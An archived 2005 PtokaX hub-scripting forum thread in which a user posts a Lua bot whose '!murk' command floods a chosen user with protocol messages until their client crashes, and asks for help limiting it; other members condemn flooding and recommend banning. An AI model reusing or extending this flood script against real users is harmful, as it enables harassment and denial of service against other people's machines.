PtokaX forum

Archive => Archived 5.0 boards => Help with scripts => Topic started by: biggam on 19 April, 2005, 18:09:49

Title: need help with a bot
Post by: biggam on 19 April, 2005, 18:09:49
yo sup i wanted this bot to only work on regs so basically i want the command to only work if done on regs or vip's sBotName = "??w-M??k??";

sFloodUser = nil;
iFloodCount = 10;

sToFloodUser = nil;

function Main()
frmHub:RegBot(sBotName);
SetTimer(10);
end

function OnTimer()
for i = 2, 20, 1 do
iFloodCount = iFloodCount + 2;
SendToNick(sFloodUser, "$Hello Flooder"..iFloodCount..sToFloodUser..iFloodCount.." $ ")
end

if(GetItemByName(sFloodUser) == nil) then
StopTimer();
SendToAll(sBotName, sFloodUser.." was Murked "..iFloodCount.." times & then got kicked the fuck out.");
iFloodCount = 0;
sFloodUser,sToFloodUser = nil,nil;
end
end

function ChatArrival(curUser, sData)
local s, e, cmd, user = string.find(sData, "%b<> (%S+) (%S+)%|$");

if(cmd == nil or curUser.bOperator == nil) then return 0; end

cmd = string.lower(cmd);

if(cmd == "!murk" and GetItemByName(user)) then
sFloodUser = user;
sToFloodUser = "|$To: "..sFloodUser.." From: Flooder";
SendToAll(sBotName, "??w-M??k?? ?$ M??k?? "..user..". P???k  .");
StartTimer();
end
end
Title:
Post by: ??????Hawk?????? on 19 April, 2005, 19:34:44
hmmmm  Lame Script...



??????Hawk??????
Title:
Post by: biggam on 20 April, 2005, 17:46:34
wat u mean lame script have u got a better one   btw that scipt didin't work it dnt even work at all
Title:
Post by: jiten on 20 April, 2005, 18:14:26
QuoteOriginally posted by biggam
wat u mean lame script have u got a better one   btw that scipt didin't work it dnt even work at all
That's impossible (only if u did some mistake).

Cheers
Title:
Post by: ??????Hawk?????? on 20 April, 2005, 18:35:57
QuoteOriginally posted by biggam
wat u mean lame script have u got a better one  

By Lame  ..  i mean  IT is LAME to flood...

Try the Ban command  ..  it uses less resourses and gets  rid of the problem user instantly.



??????Hawk??????
Title:
Post by: Dessamator on 20 April, 2005, 19:56:53
what he means, is that is a bad script, instead of just kicking the user, ur flooding him until his dc crashes, or mayb even his pc
Title:
Post by: biggam on 21 April, 2005, 18:01:50
lol ye dats the whole point o teach the guy a lesson and can sum1 please re post the script with 100% sure it will work and can u please not change the command or anythin apart from the fact dat it can only work on regs and vip's.

thank you
Title:
Post by: ??????Hawk?????? on 21 April, 2005, 18:36:12
Removed........  Hope you learned a lesson from the code posted
Title:
Post by: jiten on 21 April, 2005, 18:45:11
Let's see if the same script posted by hawk will work with u... :D
Title:
Post by: biggam on 21 April, 2005, 19:43:09
ye ye thanx it worked....lool but wen i flood a reg or sumthin i get flooded insted
Title:
Post by: jiten on 21 April, 2005, 20:00:53
QuoteOriginally posted by biggam
ye ye thanx it worked....lool but wen i flood a reg or sumthin i get flooded insted
First script updated.
Title:
Post by: biggam on 21 April, 2005, 20:03:49
??? i dnt get u
Title:
Post by: jiten on 21 April, 2005, 20:17:22
Well, "First script updated" means I've fixed that bug and updated my first post.
This (http://board.univ-angers.fr/thread.php?threadid=4257&boardid=29&sid=8bb6ede56769aee4c2e2dcfc2a914f4a&page=1#2) is the one.

Best regards,

jiten
Title:
Post by: biggam on 21 April, 2005, 20:39:19
na still i keep gettin flooded
Title:
Post by: jiten on 21 April, 2005, 20:45:53
QuoteOriginally posted by biggam
na still i keep gettin flooded
Wierd... It's working perfectly with me ;)
Title:
Post by: ??????Hawk?????? on 21 April, 2005, 20:50:03
QuoteOriginally posted by biggam
na still i keep gettin flooded

ive edited my  Above post  ..  try that code...
Title:
Post by: plop on 22 April, 2005, 18:00:05
QuoteOriginally posted by biggam
na still i keep gettin flooded
not fun is it he.
you never have the right 2 crash some1 elses compie or even the software he's running.
doing this makes your hub illegal and you a script kiddy.
just ban the folks and use your bandwidth for usefull things.

plop
Title:
Post by: ??????Hawk?????? on 22 April, 2005, 18:31:28
Code removed  ..  

the self flooding was intentional  .. i hope you learned something from it  ..  

Be happy...   Be  sencible   :))  :))


??????Hawk??????
Title:
Post by: Dessamator on 22 April, 2005, 18:34:42
QuoteOriginally posted by biggam
na still i keep gettin flooded
LOL
a wise man once said , "Do not do to others what you wouldnt like to be done to you"
Title:
Post by: jiten on 22 April, 2005, 18:41:50
QuoteOriginally posted by ??????Hawk??????
Code removed  ..  

the self flooding was intentional  .. i hope you learned something from it  ..  

Be happy...   Be  sencible   :))  :))


??????Hawk??????
Indeed :]
Title:
Post by: Pothead on 22 April, 2005, 20:55:14
QuoteOriginally posted by plop
you never have the right 2 crash some1 elses compie or even the software he's running.
Just a shame Cologic doesn't agree with you, in respect to his Obnoxious Filelist.  ?(
Title:
Post by: biggam on 22 April, 2005, 21:46:27
rarrr man nuttin that big soz if u people took it serious but ok kool